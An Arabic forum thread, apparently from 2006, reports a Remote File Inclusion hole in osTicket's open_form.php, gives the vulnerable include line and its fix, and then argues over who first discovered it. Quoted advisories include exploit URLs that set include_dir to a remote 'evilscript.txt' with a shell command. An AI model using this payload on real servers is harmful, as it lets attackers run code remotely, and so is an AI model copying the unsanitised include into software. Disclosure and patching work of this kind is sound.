[Speedhosting.info]

بسم الله الرحمن الرحيم
=-=-=-=-=-=-=-=-=
السكرب المصاب :- osTicket, Open Source Support Ticket System
وهو مستخدم في معظم الموقع العربيه
موقع الشركه :- http://www.osticket.com
نوع الثغره :- Remote File Inclusion خطيره جداا
مكتشف الثغره :- rUnViRuS
موقع :- http://www.sec-area.com/
=-=-=-=-=-=-=-=-=-=-=-=-=
ملف الثغر :- open_form.php
موجود في ملف include
الكود المصاب :-

 <? include("$include_dir/form.php"); ?>

الترقيع :-

 <? include("include/form.php"); ?>

وينصح مسح السكرب كامل او التغير الي الصادره الحديثه

تحيات
Speedhosting.info

[mr_sultan]

انت حاط المكتشف rUnViRuS ليش تكذب

الثغره قديمه مره ولها خمسة شهور واللي مكتشفها فريق سايت داون : سويت ديفل وبلاك كود
الثغره بتاريخ : 30 / 5 / 2006 م
إسم السكربت : osticket
الإصدار : Support cards v1
نسبة الخطوره : عالية جدا
المكتشف
( team : site-down ( SwEET-DeViL & BlaCK-CoDE



وهذا الاثبات
رسالة ارسلة مواقع السكورتي

http://www.securityfocus.com/archive/1/435413

وهذا مكتشف الثغره طارحها بنفسها

http://www.lezr.com/vb/showthread.php?t=13774

يعني اذا بتكتب مره ثانيه اكتب الحقائق

[Speedhosting.info]

يا اخي الثغره برده rUnViRuS منزله في سكيروتي فوكس وانا لم اري غير rUnViRuS في سكيروتي فوكس من كام يوم

[mr_sultan]

شوف مقارنه بين تاريخ الاكتشافين....

أولا : فريق team : site-down

كود PHP:

file include exploit in Support Cards v1 May 30 2006 08:26PM
black code (black-cod3 hotmail com) 
file include exploit in Support Cards v1

forum type : Support cards v1
bug found by : sweet-devil
team : site-down
type : file include

####################################################
exploit :

http://www.example.com/support/include/open_form.php?include_dir=http://
ursite/evilscript.txt?cmd=pwd

####################################################

#######################
emails:

black-cod3 (at) hotmail (dot) com [email concealed] & gamr-14 (at) hotmail (dot) com [email concealed]
#######################

All my respect to our friends , lezr.com , g123g.net

done .. peace 


ولو تلاحظ تاريخ الإكتشاف May 30 2006 08:26PM يعني 30 / 5 / 2006 ونحن الآن في 14 / 10 /2006


ام بنسبة للأخ rUnViRuS

كود PHP:

WDT:- osTicket File Include all V Oct 14 2006 12:26AM
stormhacker hotmail com 
script:- osTicket Open Source Support Ticket System
site:- http://www.osticket.com

exploit by runvirus
http://www.host/path/include/open_form.php?include_dir=

welcome in www.sec-area.com 


ولو تلاحظ تاريخ الإكتشاف أمس بالصباح الساعه 12 14 / 10 /2006 فرق شاسع بين الإكتشاف الأول واالثاني

[AlwAdy4HosT]

يا عررررب الامر ماهو حرب سواء ده او ده المهم في الاخر انها ثغره ويجب ترقيعها :d
خلى عقلك اكبر من كده
جزاكم الله خير

[mazahm]

تم ترقيع؟؟؟؟؟؟؟؟؟؟؟؟